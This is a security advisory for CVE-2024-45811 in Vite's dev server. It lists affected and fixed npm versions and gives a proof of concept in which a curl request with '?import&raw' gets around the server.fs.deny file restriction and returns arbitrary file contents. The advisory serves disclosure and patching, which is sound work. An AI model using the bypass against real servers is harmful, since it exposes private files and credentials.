MediumGHSA-9cwx-2883-4wfxCVE-2024-45811

Vite's `server.fs.deny` is bypassed when using `?import&raw`

Published 17 Sept 2024 · Updated 10 Sept 2026

Affected packages

vitenpm
Affected
>=5.4.0 <5.4.6
Fixed in
5.4.6
Update to the fixed version for your release line, for example:npm install vite@5.4.6
vitenpm
Affected
>=5.3.0 <5.3.6
Fixed in
5.3.6
Update to the fixed version for your release line, for example:npm install vite@5.3.6
vitenpm
Affected
>=5.2.0 <5.2.14
Fixed in
5.2.14
Update to the fixed version for your release line, for example:npm install vite@5.2.14
vitenpm
Affected
>=4.0.0 <4.5.4
Fixed in
4.5.4
Update to the fixed version for your release line, for example:npm install vite@4.5.4
vitenpm
Affected
<3.2.11
Fixed in
3.2.11
Update to the fixed version for your release line, for example:npm install vite@3.2.11
vitenpm
Affected
>=5.0.0 <5.1.8
Fixed in
5.1.8
Update to the fixed version for your release line, for example:npm install vite@5.1.8

Details

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

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References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.